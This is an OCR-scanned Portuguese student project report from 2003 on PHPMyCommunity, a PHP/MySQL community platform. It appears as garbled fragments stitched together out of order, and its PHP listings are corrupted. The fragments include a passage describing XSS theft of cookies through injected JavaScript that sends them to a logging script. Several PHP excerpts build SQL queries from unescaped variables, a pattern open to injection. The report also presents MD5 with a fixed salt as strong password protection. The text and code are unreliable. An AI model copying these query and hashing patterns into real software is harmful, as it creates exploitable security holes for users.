47. Instituto Superior da Maia    RELAT  RIO DE SEMIN  RIO DE PROJECTOS  DE COMUNICA    O    PHPMy Community    Cs    Plataforma web orientada   s comunidades     Aluno  Ruben Bernardo Alves   7832    Orientador  Eng    Joel Varanda    ISMAI   Ano lectivo de 2002 2003          WAY   d E    szal I El    Los the free pinga about PPA    Linux A MO    Windows          P  gina 3    Relat  rio do projecto   PHPMyCommunity    I   SUM  RIO    Este documento tem por objectivo ser um relat  rio do trabalho de fim de curso da licenciatura  em Tecnologias de Comunica    o Multim  dia do Instituto Superior da Maia   ISMAI    O principal intuito deste trabalho foi desenvolver uma plataforma web orientada   s comunidades   permitindo assim aos seus membros comunicarem usando as novas tecnologias da comunica    o    Este relat  rio tem como finalidade dar um pequeno resumo do trabalho efectuado   contextualizando o em mat  ria te  rica  Sendo muito extenso para impress  o  o c  digo fonte est      dispon  vel no suporte digital f  sico entregue juntamente com este documento     P  gina 4    ISMAI O 2003    II   AGRADECIMENTOS    Aos meus pais e ao meu irm  o que sempre me ajudaram em todos os passos da minha vida at    hoje e para sempre  Um grande obrigado       Ana Pinto  pelo seu Amor que incondicionalmente sempre demonstrou  pela motiva    o que  me proporcionou  pelos testes de usabilidade  pela sua compreens  o nas minhas noites passadas  em frente ao computador e claro pela paci  ncia que
48. M  RIO zrani aAA EENE a ERR 2  LE SUMARIO d ANO 3  TE SUM  RIO mouie amaii a a DR RR E U RAR E O 4  I   AGRADECIMENEOS  E T E EEA EEE E E EE E 5  MTE CONTEDDO  san T E E E TE OT O O TE 6  IV eINDICE DE FIGURA S ata onan a A a A a A NA 8  ic  INTRODU    O sata dp a   let  t   sz Es a a da 9  1 1  DESCRICAO DO PROJECTO  uai a eke E OD DO KEZET etre kele 9  1 2  OBIECTIVOS eea ea AAA a OR a a EAR N O E   t   N 9  1 3  REQUISITOS Hesse t  telez E a 10   2  INTRODU        O PHP aaa ondas cus SR CE SS da tdk  sk 11  2 1  COUBE OPHP aii ADD a Pp OR RA E 11  22  PI TORA DOT I eaae ADO a a 11  2 3  MANTAGENS DO PER seas a ne E a   s E E    E E E 12  2 4  PHPMYCOMMUNITY  PHP   APACHE   MYSQL  POROU      000    s gg   e ee                s                            t        t    t              t        t   t                 t  t    s 13  2 4 1  PADECE ara a ci EK RAS TEK S a RR a VN A CURE RA a a a a OLE   LET 14  2 4 2  M SO nois ncia Sana o nO a a a a aa 15   Sd  DESENHO iriiria aaaeaii aieiaa aaa CCC aaa dadas das ca dea aaa Saad a eat ee dek  s   sek kes anda pe ai pda 16  3 1  ASPECTO GRATICO tells s  t  t et  s tott aa A ONES att 16  3AL  MONZAN AT PETE O RP E N EAE EAT 16  3 1 2  Log  tipo e imagem Cep Oss dede a ee ee ee              t      e ee t  tet e   t   e ee     tt        ee 17   3 1 3  Linha mterm  di  n osaset E EE E E E E E 17   3 1 4  Identifica    o e mensagens privadas brado pras bbb ni E ba cb ee ee ee t          ee 18   3 1 5  MeO E Rd I8   3 1 6  DONE CM SE e N 
49. MB de disco n  o representa muito espa  o       Esta biblioteca est   dispon  vel para PHP  C  Perl e muito mais em http   www  boutell com gd     P  gina 18    ISMAI O 2003    webmaster ter um servidor com a biblioteca GD  No   mbito de simplificar o processo de cria    o do  menu  resolu    es de problemas p  s instala    o e configura    o da plataforma  existe a possibilidade ao  dono da p  gina de escolher o tipo de renderiza    o do menu  bastando editar o ficheiro    config php    e  alterar uma vari  vel      menu  gd        Neste momento  apenas    poss  vel  atrav  s do acesso directo    base de dados  a modifica    o do  menu  Prev   se a curto prazo a elabora    o de uma componente administrativa com a finalidade de alterar  este   ltimo    A configura    o neste momento pela base de dados permite a altera    o    da ordem do menu  modifica    o dos privil  gios  e coloca    o nos v  rios itens do    home  noticias  membros  forum  produtos    menu    Para simplificar ao m  ximo a administra    o da plataforma  toda a  componente encarregue de criar  alterar e editar qualquer que seja a parte artigos  sondagens  pesquisa  downloads  link s  contactos  log in    integrante no site  artigos  not  cias  f  rum  produtos e todo o resto           realizada no pr  prio menu     Trata se de um menu din  mico  interagindo directamente com a base             de dados  onde vai buscar os privil  gios de administra    o do utilizador    Ilustra    o 3   Menu    da p  gina cr
50. S    l Discurso cobro DOVOF E reibas lancamento Je PEA DUO NENE E por    Sr  mm    Ilustra    o 41  Segundo exemplo de aplica    o do PHPMyCommunity a um caso real    www airsoftportugal com         P  gina 94    REFER  NCIAS BIBLIOGR  FICAS    Argerich  L     amp  Choi  W  Et al     Professional PHP        Wrox Press  2002   Coelho  P     Cria    o de p  ginas na World Wide Web com HTML 4  amp  JAVA     FCA  1998  Damas  L     SOL Structured Query Language     FCA  1999   Esser  H  G    amp  Wielsch  M  Et al     Mandrake 8      Micro Application  2001   Evening  M     Adobe Photoshop 5 0 for photographers     Focal Press  1998   Marques  J    amp  Serr  o  C     Programa    o com PHP     FCA  2000   Martini  R     Manual de seguran  a em redes Linux     Edi    es Centro Atl  ntico  2000  Medinets  D     PHP 5 Programming Browser     Based applications     McGraw     Hill  2000  Nielsen  J    amp  Tahir  M     L    art de la page d  acceuli     Eyrolles  2002   Oliveira  W     T  cnica para hackers e solu    es para seguran  a     Edi    es Centro Atl  ntico  2000  Pereira  J  L     Tecnologia de Base de Dados     FCA  1998   Straznitskas  M     Photoshop 5 for the web     Sybex  1996    Webster  S     Foundation PHP for flash     Friendsof  2001    Nilsson  M     Session Management with PHP4     online  Dispon  vel na Internet via WWW  URL   http   www  phpbuilder com columns mattias20000105 php3   visto em 26 de Agosto 2002     Le Grand  A     Upload d un fichier vers un s
51. SID  Ea inss    que permite ao visitante dar a conhecer a sua prefer  ncia entre um leque de 2  M  dio       31 Mau  Este pequeno sistema     igual ao sistema de sondagens central  s   que n  o  Eps    perguntas definidas pelo respons  vel das sondagens     l   votou para e   sondagem     inclui uma op    o para comentar ou mudar de sondagem  s   pode votar na       sondagem corrente  Todo o sistema de sondagem ser   explicado num pr  ximo    cap  tulo     5 1 6  Stats    J   referidas neste relat  rio  as estat  sticas na margem direita permitem unicamente ao utilizador    ter uma no    o da progress  o da p  gina e da sua actividade        Numero de grupos de utilizadores    Ssgqlin grupos  select count  ic  as cnt from grupos       sresultadon grupos  mysql db query   SMYSOL server bd     Ssgln grupos    Sregiston grupos mysgl fetch array  Sresultadon grupos     Sn qrupos Sregiston grupos enc         Numero de utilizadores     sql n users  select count  id  as cnt from login     Sresultado m users  mysql db query   SMYSQL server bd   Segl m users    Sregisto n users mysgl fetch array  Sresultado n users      int  Sn users  Sregisto n users  cnt          Numero de utilizadores offline     sql n usersOff  select count  id  as cnt from membros offline    Sresultado n usersOff  mysql db query   SMYSQL server bd   Ssql n usersOff    Sregisto n usersOff mysqgl fetch array  Sresultado n usersOff      um  Sac users0Ori Sregisto n usersOti  ent         Utilizadores totais  Stotal u
52. a    o 4   Listagem das    pr  ximo capitulo  vis  vel directamente em todas as p  ginas  menos f  rum      permitindo ao utilizador identificado votar em qualquer altura  e seguidamente sondagens          Universal Ressource Locator  Todo o endere  o de Internet    um URL  por exemplo  www dns com  n  o confundir  com URI  www dns com html doc html     Funcionalidade do Apache que permite a coloca    o de uma caixa de identifica    o para aceder a determinadas    directorias     P  gina 19    Relat  rio do projecto   PHPMyCommunity    visualizar o desenvolvimento da sondagem em tempo real  com um pequeno gr  fico ilustrativo     3 1 7  newsFlash    Por tr  s deste nome b  rbaro  existe uma funcionalidade do    PHPMyCommunity permitindo ao visitante ver quais foram as tr  s   ltimas newsFlash  not  cias enviadas para o sistema de not  cias  j w A partir  da mes de Maio  a  Colocadas logo a seguir   s sondagens  dando lhe uma import  ncia BESTER E    Mensagens  menos relevante no aspecto visual da p  gina     no entanto uma pe  a ERRES  funciol      fundamental na apresenta    o do site  visto que as newsFlash conseguem mostrar    Ver noticias          ao utilizador as not  cias mais recentes sem ver a p  gina especificamente  Ilustra    o 5      dedicada   s not  cias   newsF lash        As not  cias s  o o motor de qualquer comunidade  permitindo assim ao  visitante estar a par da actividade da comunidade  p  gina ou simplesmente organiza    o    Com um deslizamento vertical
53. ador  malicioso poderia perfeitamente inserir um c  digo indesejado  Dependendo do grau de conhecimento do     pirata     o ataque pode ser mais ou menos nefasto    Um simples c  digo HTML pode abrir janelas do navegador infinitamente que  juntamente com o  c  digo Javascript pode abrir mensagens de alerta onde o utilizador ter   que clicar no bot  o  s   que  ao  fazer isso s  o geradas mais dez janelas  e assim sucessivamente  o que se traduz nma p  ssima experi  ncia  para o visitante  Este facto    insignificante com as possibilidades de um bom C S S  caso o site use  cookies     poss  vel a um atacante ter informa    es sobre este  Como    do conhecimento geral  ao contr  rio  do PHP  o JavaScript    executado pelo cliente que est   a ver a p  gina  Tomando por exemplo  o site que    est   a visitar permite a identifica    o autom  tica via cookies  O roubo desta informa    o poderia ser      Mais informa    es sobre inser    o de c  digo SQL neste FAQ http   www  sqlsecurity com fag 1nj asp     P  gina 36    ISMAI O 2003    simples bastando para 1sso a inser    o de um c  digo JavaScript  Este   ltimo  criando uma hiperliga    o a  um script PHP que ir   registar numa base de dados ou num ficheiro texto toda a informa    o do cookie   Foi  por isso que o PHPMyCommunity n  o permite a auto identifica    o e n  o usa cookies por simples  medida de seguran  a   O c  digo seguinte exemplifica como ao inserir em JavaScript consegue se enviar para uma  p  gina PHP o cookie qu
54. agar coment  rios  cuja funcionalidade    realizada na pr  pria p  gina    Quando    removida uma sondagem  a pergunta  as respostas e os coment  rios s  o todos  apagados da base de dados usando v  rios pedidos SQL  Como mostra o seguinte c  digo PHP retirado do    ficheiro a poll php     P  gina 76    ISMAI O 2003       Existe um id    Vamos verificar se ele existe na base de dados    sgl no cheat  select count  id  as cnt from poll perguntas where id  Sid poll  group  by id     Sresultado no cheat  mysql db query   SMYSQL server bd    sgl no cheat    if  Sresultado no cheat     Sregisto no cheat mysgl fetch array  Sresultado no cheat    Scnt Sregisto no cheat   cnt     if   Scnt   1        A vari  vel existe  e vamos come  ar a apagar tudo     Apagar os coment  rios todos desta pergunta    Ssql del coments  delete from poll comentarios where id pergunta  Sid poll     S resultado del coments mysqgl db query   SMYSQL server bd    sgl del coments       Apagar registo dos votos   Ssql del registo  delete from poll voted where id pergunta  Sid poll     S resultado del registo mysqgl db query   SMYSQL server bd    sgl del registo    if  Sresultado del registo          Apagar respostas   sql del respostas  delete from poll respostas where  LE pergunta  Sie poll   Sresultado del respostas mysql db query   SMYSQL server bd     sql del respostas    if  Sresultado del respostas      Apagar a pergunta   sql del pergunta  delete from poll perguntas where id  Sid poll     Sresultado del
55. ances  etc  Dos melhores cilindros editar apagar  para estrada 205 Melhores para c  reuita    Descri    o   c  icar para editar    Polini Evolution This iz Tha Polini Evolution    escape que vai pro kit  7     cm k nao tem medo de ser o melhor 4           Polini Evolution This iz Tha Polini Evolution    escape que vai pro kit  5  cm k nao tem medo de ser o melhor           206Cc   vers  o La chegou ele  Agora tah mais tunning do que  tunning    nunca  ba     Ilustra    o 35   Representa    o de todas as componentes administrativas da gest  o dos  quatro m  dulos        5 7  Sondagens    As sondagens de um modo geral t  m evolu  do progressivamente  de tal forma a que hoje em dia   a maioria das p  ginas com maior relev  ncia possui um sistema de sondagens  Estes inqu  ritos t  m um  defeito em algumas p  ginas porque n  o permitem coment  rios ou est  o limitados ao n  mero de respostas  poss  veis    Como abordado h   pouco  quando se referia   s sondagens da margem direita  o  PHPMyCommunity inclui um motor que permite o uso de v  rias sondagens ao mesmo tempo  com a  possibilidade de usar uma infinidade de respostas poss  veis por pergunta  sendo igualmente poss  vel a  Inser    o de in  meros coment  rios  Proporcionando uma sensibilidade   s reac    es e opini  es por parte  dos membros    Est   inerente   s sondagens um sistema de seguran  a impedindo aos visitantes n  o identificados  em exprimir a sua opini  o  para evitar votos abusivos  Este problema foi igualmente 
56. ar da sua posi    o na plataforma em  rela    o    sec    o onde ele se encontra  O t  tulo    geralmente clic  vel  pois existem zonas na plataforma  onde ele existe juntamente com um formul  rio  no qual a p  gina que    processada n  o pode ser clic  vel   Ao contr  rio do estilo usado por todas as hiperliga    es  preto  negrito e sublinhado   a barra de navega    o  est   simplesmente a preto e a negrito  ao n  vel gr  fico  ter uma linha inteira sublinhada n  o se enquadraria    na linha gr  fica da p  gina     Ilustra    o 9   Barra de navega    o        3 2 4  Janela de apresenta    o do site    Recorrendo    ideia do livro    L   art de la page d accueil     o que ser   entrar numa loja e n  o ser  capaz de identificar imediatamente que tipo de loja     e que tipo de produto vende     Agora este aspecto  aplica se igualmente    p  gina de entrada de qualquer site  seja ele comercial ou n  o  A identifica    o dos  objectivos    primordial  os visitantes t  m que entender  em muito pouco tempo o tipo de p  gina que est   a  ver e os servi  os que disp  e  Se este pormenor n  o for respeitado  o site ser   um fracasso porque ningu  m  perder   mais tempo em visualizar outras p  ginas sem ter a m  nima ideia do que elas poder  o oferecer lhe    Tomando este aviso como uma funcionalidade ao mesmo n  vel que as sondagens  a mensagem  de boas vindas tem a sua pr  pria componente administrativa  completamente configur  vel  Deixando para  a vers  o v 1 0 do PHPMyCommunity o
57. ara classificar as mensagens desenvolveu se um sistema permitindo a cria    o de categorias de  f  runs  dentro de cada um est  o inseridos os t  picos     Proporcionando uma maior organiza    o  as categorias possibilitam uma variedade de assuntos  definidos da descri    o de cada uma  Cada linha representa um f  rum  incluindo o n  mero de mensagens  enviadas  t  picos  a data e a hora da   ltima mensagem  Esta listagem    vari  vel consoante os privil  gios    da pessoa  Baseada na implementa    o geral de seguran  a da plataforma  esta funcionalidade permite a      Site oficial do f  rum dispon  vel em  http   www  vbulletin com    E Tradu    o inglesa da palavra    t  pico        por causa da n  o tradu    o e uso das palavras n  o traduzidas  que este termo     cada vez mais usado na linguagem cibern  tica portuguesa  Mas  querendo afirmar a posi    o do PHPMyCommunity    como sendo um produto nacional  a palavra    t  pico    foi preservada ao inv  s da sua denomina    o mais conhecida     P  gina 65    Relat  rio do projecto   PHPMyCommunity    cria    o de um f  rum s   para alguns elementos da p  gina  Por exemplo     poss  vel criar um f  rum s   para  administradores de artigos  produtos  sondagens etc   A sua apresenta    o    vari  vel  dependendo dos    privil  gios de quem visita         Forum de apresenta    o    Forum de apresenta    o da p  gina as a Hoje as   04 14  Este forurn so serve de testes por gade        Consoante a seu nivel  poder   ter acesso a 
58. argem esquerda  onde est  o    disponibilizadas op    es de administra    o     Ed    Uma das funcionalidades relevante    a possibilidade de abrir ou fechar um f  rum  Estando  inicialmente aberto  pode se em qualquer momento fech   lo por problemas imerentes ao mau  comportamento dos seus utilizadores  poupando o tempo aos administradores  deixando de ter que apagar  t  pico a t  pico    O c  digo seguinte comprova como    imposs  vel a um utilizador ver um f  rum fechado  Este    exemplo foi retirado do ficheiro f view forum php        Vamos agora verificar se este f  rum    activo ou n  o     E com o mesmo pedido vamos saber a descri    o e o nome do f  rum   sal corum actives  select 1C Corum  Status  nome Corum  Qese Corum  Lo COrun carc irom  forum where dd forim S1d Lorum o0   Sresultado forum active  mysql db query   SMYSQOL server bd   Ssql forum active    1f  Sresultado forum active   Sregisto forum active mysqgl fetch array  Sresultado forum active    Snome forum Sregisto forum active  nome forum     Sdesc forum Sregisto forum activel desc forum     Ses rorun cat    registo ortum active   ae torun ceat    l  Separe Sregisto rorum active  Status  l           it  Satatusss true   1  PI Ent  o mostra    F  rum    Basa    Outra funcionalidade importante    o facto de poder atribuir direitos de visualiza    o ao f  rum   Usando o sistema de seguran  a da plataforma  abordado anteriormente     poss  vel designar um f  rum  vis  vel s   para um tipo de utilizadores  Sele
59. as sem a oportunidade de se ligar    rede mundial  Os membros offline s  o percept  veis nas    p  ginas de visualiza    o de grupos     A listagem dos membros registados    limitada   s fronteiras de Portugal  aceitando no entanto    membros estrangeiros   na medida em que  a plataforma    orientada a um p  blico nacional  O    PHPMyCommunity assume se como um sistema sem grandes pretens  es em rela    o   s aplica    es como    o PHP Nuke ou POST Nuke   No entanto  poder    no futuro  ser adaptada a uma escala internacional     mas no   mbito acad  mico  este grau de complexidade n  o se justifica     Os membros podem ser listados de v  rias formas       PHP Nuke e POST Nuke s  o plataformas web a serem desenvolvidas a v  rios anos  por centenas de utilizadores    pela Internet  Mais informa    es em www php nuke org e www post nuke com     P  gina 58    ISMAI O 2003    Listagem alfab  tica  modo mais directo que permite ao visitante aceder    base de dados dos membros   escolhendo a primeira letra pela qual o username come  a  criando assim v  rias tabelas com todos os  utilizadores registados  Todos os utilizadores podem ser listados de uma s   vez pressionando a    hiperliga    o    todos     Todos os login iniciados em n  meros ser  o exibidos clicando em    outros        sem es polpa ope E a a   lol  lplalr alt ul  u w     y  z   outros   todos      Home  user   Hobbies  Desporto  cinemamusica   Assinatura    also a proud member of iNY FE 1     Ver detalhes sobra este 
60. ase de dados   Por um lado  demora se mais tempo a entrar  mas por outro sabe se que as  pessoas que est  o dentro est  o autorizadas  Este fen  meno    muito visto na parte da administra    o  tendo  em conta que  apenas uma pequena parte dos utilizadores ter   acesso    administra    o    De um modo geral  os objectivos Iniciais e as expectativas foram superadas mas  com a ajuda    dos utilizadores reais do www  airsoftportugal com  j   est  o previstos muitos outros     P  gina 80    ISMAI O 2003    6 2  Objectivos futuros    Apesar de ter finalizado o projecto  PHPMyCommunity ainda n  o foi lan  ado oficialmente na  Internet  Pretende se desenvolver uma p  gina oficial constru  da a partir da plataforma e assim tentar  desenvolver uma comunidade de ajuda e desenvolvimento ao PHPMyCommuntty    Algumas melhorias ao n  vel de optimiza    o de c  digo PHP est  o previstas a curto prazo  um  sistema seguro de inser    o de tags HTML   tipo Microsoft Word   que permitir   dar maior relevo ao  texto  nomeadamente   s not  cias  artigos e descri    es dos links  downloads etc     Est   tamb  m prevista a  integra    o de uma galeria de fotografias  calend  rio de eventos  uma sec    o dedicada aos classificados e  muitas novas melhorias ao f  rum actual    Para testar a plataforma  existe uma comunidade nacional  Comunidade de Airsoft Portugal  que  est   a usar o sistema nos seus servidores  www  airsoftportugal com   Dentro de pouco tempo ser   lan  ado  mais duas p  ginas web 
61. assword    password  group by username      Sresultado   mysql db query   SMYSQL server bd   Ssa   LE  Sresultado     Dre cd co es a MEL SES EE CAS re tlcacdolr  if  Sregistol cnt      1 1  EM   else    res  cbr cdiv align   center   gt  lt span class   texto   gt  A sua senha e  ou  a sua  password est  o  lt b gt erradas lt  b gt   Verifique estes dados lt br gt ou entra em contacto com  o webmaster  lt  span gt  lt  div gt  lt br gt       writelogin   res    session destroy        Poupando consideravelmente o tempo de execu    o    o SGBD  sistema de gest  o de base de  dados  que trabalha e n  o o PHP  que por natureza    mais lento   Esta fun    o aumenta a seguran  a na  identifica    o dos utilizadores     pedido    base de dados para verificar se os dois campos do formul  rio  coincidem com ela  se for o caso ent  o a vari  vel  cnt    igual a 1  sendo assim poss  vel a entrada no  portal  Caso contr  rio  executa a fun    o writelogin  res  e como medida de seguran  a apaga qualquer  tipo de sess  o que poder   ter sido criada por erro de programa    o  ou do sistema     Sempre na perspectiva de aumentar a seguran  a  todas as palavras chave dos utilizadores s  o  encriptadas em MDS  alto n  vel de codifica    o em 128 bits  e melhoradas com um    salt     sal em ingl  s   que soma as duas 2 palavras  textos do nome do utilizador com o sal  para aumentar mais uma vez a    seguran  a das palavras chave     J5  Emceyotac a Passworc  a cunca Crypt O Cc injectiva  S0 Fun
62. ca    Pinto da Costa    Perafita  Paredes  Puerto    Descri    o   Espa  o reservado a descri    o do grupo de  utilizadores     E aconselhado n  o colocar outro tipo de  assuntos     Contactos   ralues  gt  gademnetcabo pt    Ilustra    o 24  P  gina pessoal do grupo     Porto    Utlizadores registados deste distrito     ADe Localidade   gade Porto   gade girl Porto Ari   guonet S  Fedro  Avioso E  juormsS006 Maia regi  o   schweppes Forto grande po rto  cuguinha porto   User Porto  SoundMan Matosinhos    M  o existem utilizadores sem internet neste  distrito     Ilustra    o 25  Cada distrito possui uma imagem diferente        P  gina 60    ISMAI O 2003    5 4 4  Administra    o dos grupos de membros    Com a possibilidade de adicionar uma infinidade de grupos de membros  o PHPMyCommunity  proporciona ao administrador da plataforma v  rias funcionalidades sobre estes  N  o podendo gerir todos  os grupos  esta tarefa    realizada pelo respons  vel do grupo possuindo permiss  es de escrita no seio dos  seus membros  No entanto  n  o poder   criar  apagar ou editar outros grupos  Ter   que administrar a sua    rea como se fosse a sua p  gina pessoal inserida no contexto da plataforma  Para esta gest  o foram  programadas funcionalidades  aceitar recusar pedidos de jun    o  adi    o remo    o de membros offline   alterar informa    o sobre o grupo e gest  o dos utilizadores  Juntamente com v  rias informa    es   teis  como um resumo dos dados  n  mero de utilizadores com ou s
63. ccionando os privil  gios  os direitos de leitura escrita s  o  validados  actualizando os privil  gios necess  rios  O PHPMyCommunity atribui automaticamente os  privil  gios de utilizador b  sico e visitante a qualquer administrador  sendo assim poss  vel seleccionar    uma s   caixa para colocar um f  rum vis  vel  unicamente por utilizadores registados     P  gina 68    ISMAI O 2003    Edi    o do forum     Nome do forum   Forum de apresenta      Descri    o do forum   Este forum so serve d    alali G Aberto       Fechado  Categoria  E Apresenta    o aj  Posi    o  E 1 a    Dar permiss  es de Responsavel dos membros  laitura escrita aos    utilizadores  Responsavel das noticias    Responsavel das categorias de membros  Responsavel dos links   Responsavel dos downloads  Responsavel dos produtos   Responsavel das sondagens  Responsavel dos Foruns   Responsavel dos artigos    Utilizador registado        E  E  E  E  E  a  E     a    Quest  O guest nunca tem Permiss  es de escrita  s   de    leitura   alterar dados    x     Ilustra    o 31  Edi    o de um forum  com as suas devidas permiss  es        Nota se que quando    editado um f  rum  os privil  gios do mesmo ficam sinalizados  sabendo  assim quais s  o os utilizadores que t  m acesso ao f  rum  Esta funcionalidade est   escrita no ficheiro  a_forum php  onde    efectuado um primeiro pedido SQL para retornar o n  vel decimal do f  rum em    quest  o     ssal cat forum  select id forum  ic forum cat posicao nivel forum fr
64. chave prim  ria  identificador do voto  Unico e auto incrementado     id pergunta  identificador da pergunta  relaciona o coment  rio a pergunta     P  gina 26    ISMAI O 2003    id user  identificador do utilizador gue participou a sondagem     forum posts  tabela armazenando todos os t  picos  e respostas destes  A informac  o de cada mensagem  est   inserida    1d   chave prim  ria  identificador da mensagem no f  rum    nico e auto incrementado    titulo  este campo armazena a informa    o sobre o assunto da mensagem    msg  conte  do do corpo da mensagem    anexo  caso existe um anexo  este campo ira guarda o caminho at   a imagem inclu  da    data post  data de coloca    o da mensagem    hora post  hora de inser    o da mensagem    count  campo aplic  vel ao t  picos  Faz a contagem as leituras que obteve    id forum  identificador do f  rum a que pertence    id user  identificador do utilizador que escrever a mensagem    id topic  identificador de t  pico    thread  boleana  caso o valor esteja a 1 trata se de um t  pico caso contr  rio    uma resposta    1p poster  IP da pessoa que inseriu a mensagem     mstime  tempo em segundos desde 1 de Janeiro de 1970     forum  tabela respons  vel pelo armazenamento de todos os f  runs da plataforma  que ir   listar os t  picos   id forum   chave prim  ria  identificador do f  rum    nico e auto incrementado   nome forum  campo guardando o nome do f  rum   desc forum  descri    o do f  rum   status  boleana  que define se o f  r
65. ciona nun SO sentido   seguida de um  Salt   sal  que permite codificar a palavra pass com o algarismo da    LUSO ER PE   v    Sencrypt pass crypt   campo pass  gade 2003      Ap  s a verifica    o da autenticidade do utilizador  s  o registadas 3 vari  veis de sess  o  id  nome    do utilizador e uma boleana que permite saber se o utilizador esta identificado ou n  o  que  uma vez    registadas  s   s  o apagadas quando se faz o logout  onde existe uma fun    o que apaga a sess  o do    P  gina 52    ISMAI O 2003    utilizador  colocando as vari  veis de sess  o com o seu valor de defeito ou quando o visitante fecha o seu  cliente web  A fun    o em quest  o    proveniente do PHP  session destroy      Como foi referido  dentro do m  dulo de login logout  existem outros sub m  dulos  Com a  mesma import  ncia do que o anterior  o m  dulo de registo de utilizador tem como fun    o a adi    o de  novos elementos na comunidade  O ficheiro de recep    o ao formul  rio foi estruturado para que se possa  verificar todos os campos necess  rios e caso algum falhasse seja capaz de retornar ao utilizador qual    o  campo errado  Completou se com uma fun    o JavaScript  est   livremente dispon  vel na p  gina  www  nexen net  que  ao validar o pedido de inser    o  confirme se o endere  o de correio electr  nico est    correcto  ou seja  se possui um nome antes de uma arroba seguindo de outro nome finalizado por uma    extens  o   com   org   pt etc       Usemame    Nome      Password 
66. como pode ser realizada esta    pequena funcionalidade  quase sem recorrer ao PHP  apenas usando a base de dados     if  Svisitas  1       echo  Pcspanclass texto gt  noticia lada sb gt Svisitass b gt  vers span gt sbr gt       else    echo    lt span class texto gt not  cia lida  lt b gt  visitas lt  b gt  vezes lt  span gt  lt br gt              sql update visitas  update news set visitas visitas 1 where id Sid    Sresultado update visitas   mysql db query   SMYSQL server bd  Ssqgl update visitas      Quando    criada uma not  cia  o contador    iniciado em 1  Assumindo que  quando criada  ela  ainda n  o foi lida e assim que o primeiro visitante ler a not  cia pela primeira vez ter   o contador colocado    e 1 e de forma transparente ira incrementar para que a pr  xima pessoa veja o n  mero 2     Estas tr  s p  ginas s  o geridas a partir do ficheiro    noticias php    que por sua vez  permite a  execu    o das fun    es programadas em    func news php     O excerto do c  digo PHP comprova como       efectuado o redireccionamento das fun    es     if    GET  p     news       write noticias por categorias     Jelseif  S  GET  p     view news      ssel n noticias   select id cat news from categorias news group by    id cat news      resultaco n noticias mysql olo cuery     SMYSOL server bo  SsellL m moticias      iz   resultado n noticias      while  Sregisto n noticias mysql fetch array  Sresultado n noticias     sm noticias Pregrsto n noticias  ad cat news          SiS e a
67. cuperar informa    o  acerca de um produto ou armazenar a informa    o de clientes num site web    Infelizmente  o MySQL n  o se pode comparar a bases de dados tipo Informix  Sybase ou at   a  gigante Oracle  O MySQL n  o ser   a melhor escolha porque n  o apresenta toda a robustez   funcionalidade e seguran  a que proporciona uma base de dados Oracle  Mas no caso de aplica    es web  o  MySQL    mais do que suficiente  Para um projecto acad  mico  n  o compensava comprar uma licen  a das    extraordin  rias bases de dados comerciais supracitadas     P  gina 15    Relat  rio do projecto   PHPMyCommunity    3  DESENHO    Ed    Em qualquer p  gina da Internet  o desenho    um dos pontos fundamentais na cria    o e no  desenvolvimento  pois s  o as linhas gr  ficas que v  o impor ao programador as suas limita    es  O desenho  da p  gina ir   determinar quais s  o as funcionalidades e que lugares ter  o na apresenta    o final do  projecto    No caso do PHPMyCommunsty  todos este processos foram realizados n  o por uma equipa  mas sim  por uma   nica pessoa  tornando o eterno conflito designer programador um paradigma pessoal  O grande  inconveniente deste tipo de projectos    que t  m que correr em qualquer lado e de uma forma muito  generalista  ou seja  t  m que funcionar para todos os casos em que se aplica  e agradar a uma maioria      por esta raz  o que todos os itens e p  ginas foram pensados  desenvolvidos com um objectivo bem  preciso  Nada foi deixado ao acaso  o PHPM
68. cura n  o ser   efectuada  O motor de busca do PHPMyCommunity permite ao utilizador  seleccionar  quais os principais m  dulos  not  cias  f  rum  produtos  artigos    a pesquisar  Existe ainda uma op    o que    proporciona ao visitante a oportunidade de pesquisar em todos os campos      FHE My Community    Pesquisar em        Membros 0 M  ticias    Produtos O Artigos    O Downloads O Links O F  rum O Todos    Noticias   Mm  rner   de ocorr  ncias  1  P  ginas  sl  11    Mensagens Privadas a funcionar     J partir do m  s de Mala  o sistema de Mensagens Privados esta a funcionar     Tsa    Ilustra    o 38   Exemplo de pesquisa efectuada unicamente nas not  cias com a  palavra  PHPMyCommunity           O objectivo da realiza    o de um motor de pesquisa Interno    a apresenta    o de conte  do a partir  de uma palavra  N  o se trata de um motor por robots que ir   procurar em p  ginas  criando uma base de  dados de informa    o sobre este resultado  No caso do PHPMyCommunsty  o resultado    instant  neo  procurando directamente nos campos pedidos  criando v  rias p  ginas caso seja necess  rio  A  apresenta    o por p  ginas    configurada no ficheiro config php  que permite definir o n  mero de    resultados por p  gina  O c  digo seguinte    um exemplo de uma pesquisa   s not  cias   proveniente do    ficheiro procura php     Sarray explode     Ssearch box    Ssql  select id  campo sujeito  campo msg  news resumo from news where     Tor   1i 0   i lt count   Sarray  Sa    J
69. db query   SMYSQL server bd   Ssql selected users    if  Sresultado selected users     while  Sregisto selected users mysql fetch array  Sresultado selected users       Sid destinatario Sregisto selected users  id  l   Sid grupo Sregisto selected users  id grupo          enviar mp para todos os membros  send mp  Sid session  Sid destinatario   campo assunto  S campo mensagem     b     enviar mp para o administrador da plataforma    sql diz info grupo  select nome grupo from grupos where id  Sg     Sresultado ciz nio grupo m sal db query   SMYSOE server ba    gecl diz info oripo      E    send mp  Sid session  Sid admin   campo assunto  Scampo mensagem       P  gina 62    ISMAI O 2003    Listagem dos membros do seu grupo    Membros Tipo membros Enviar mp Editar Fun    o  qade registado enviar m p  excluir  ptjedi registado enviar m p  excluir   Johny BeGooD sem internet editar apagar  el Ranhoca sem internet editar apagar    Pinto da Costa zem internet editar apagar    Enviar mensagem privada a todos os membros do seu grupo     Assunto       Corpo da  mensagem     submit      Para evitar abusos  esta mensagem privada ser   igualmente enviada ao  administrador da plataforma        Ilustra    o 27   Listagem dos membros com as suas respectivas op    es e formul  rio  para envio de mensagens privadas aos membros     5 4 5  Administra    o dos membros    A administra    o dos membros possibilita toda a gest  o dos privil  gios dos utilizadores com  funcionalidades de comunica    o
